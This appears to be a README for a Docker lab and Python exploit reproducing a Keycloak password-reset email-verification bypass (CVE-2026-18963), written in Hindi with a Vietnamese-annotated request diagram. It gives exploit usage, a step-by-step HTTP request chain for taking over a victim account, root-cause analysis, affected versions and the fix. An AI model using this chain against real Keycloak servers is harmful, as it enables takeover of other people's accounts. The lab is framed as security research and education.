
Keycloak reset-credentials फ़्लो बायपास के लिए Docker-आधारित लैब और Python एक्सप्लॉइट, जो ईमेल सत्यापन बायपास के माध्यम से अकाउंट टेकओवर को सक्षम बनाता है।
यह लैब Keycloak में CVE-2026-18963 (CVSS 9.1) कमजोरी का अनुकरण करती है, जो हमलावर को पासवर्ड रीसेट प्रवाह में ईमेल सत्यापन को बायपास करके किसी भी खाते पर कब्ज़ा करने की अनुमति देती है।
केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए उपयोग करें।
docker-compose up -d
Keycloak के शुरू होने की प्रतीक्षा करें (~30-60 सेकंड)।
pip install -r requirements.txt
python setup-lab.py
स्क्रिप्ट निम्नलिखित बनाएगी:
vuln-labvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
विकल्प:
-u / --url: Keycloak URL (डिफ़ॉल्ट: http://127.0.0.1:8080)-r / --realm: Realm नाम (डिफ़ॉल्ट: vuln-lab)-t / --target: लक्ष्य उपयोगकर्ता नाम (डिफ़ॉल्ट: victim)-p / --password: नया पासवर्ड (डिफ़ॉल्ट: Pwned123!)-v / --verbose: डीबग आउटपुट सक्षम करेंMailHog UI: http://127.0.0.1:8025 — एक्सप्लॉइट के दौरान भेजे गए reset-password ईमेल देखें।
docker-compose down -v
Keycloak में दो दोष मिलकर हमले की श्रृंखला बनाते हैं:
दोष 1 — Selector state corruption (DefaultAuthenticationFlow.java):
जब उपयोगकर्ता "Try Another Way" पर क्लिक करता है, तो auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
को execution model ID के बजाय "true" (बूलियन स्ट्रिंग) के रूप में सहेजा जाता है। मान
"true" किसी विशिष्ट execution से बंधा नहीं होता, इसलिए यह
प्रवाह के चरणों में बना रहता है, जिससे selector गलत संदर्भ में प्रदर्शित होता है।
दोष 2 — Unconditional action success (ResetCredentialEmail.java):
ResetCredentialEmail की action() विधि बिना action token जाँचे
बिना शर्त context.success() को कॉल करती है। सामान्यतः, action() केवल तब कॉल होती है जब उपयोगकर्ता
ईमेल में लिंक पर क्लिक करता है (जिसमें action token होता है)। लेकिन जब selector भ्रष्ट हो जाता है, तो हमलावर
flow processing के माध्यम से सीधे action() को ट्रिगर कर सकता है।
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Khởi tạo auth session
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Chuyển đến reset flow
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrupt selector state
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Gửi username qua selector
│<── "Check your email" page ────────│ Email gửi, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Re-enter reset flow
│<── Corrupted selector (!!!) ───────│ processFlow() thấy SELECTOR="true"
│ │ → hiển thị selector cho email step
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: trigger action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() không thấy
│ │ authenticationExecution trong form
│─── GET /required-action ──────────>│ → rơi vào nhánh action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (vô điều kiện!)
│ │ → flow chuyển sang ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Đặt mật khẩu mới
│<── 302 → /account/ ──────────────│ Account takeover hoàn tất
│ │
└── Đăng nhập với mật khẩu mới ──────┘
DefaultAuthenticationFlow.processAction() में, POST प्राप्त होने पर:
tryAnotherWay जाँचें → नहीं (form खाली है)authenticationExecution जाँचें → नहीं (form खाली है)authenticator.action(result) कॉल करेंचूँकि URL में execution=<email_exec_id> (selector form action से) शामिल है, इसलिए
ResetCredentialEmail.action() कॉल होती है → context.success() लौटाती है →
flow ResetPassword पर चला जाता है → पासवर्ड सेट करने का form प्रदर्शित होता है।
| उत्पाद | प्रभावित | पैच किया गया |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() Boolean.parseBoolean() के बजाय selector.equals(lastExecutionId) जाँचता हैremoveAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() context.success() कॉल करने से पहले ACTION_TOKEN_USER_ID जाँचता हैcontext.failure(INVALID_USER)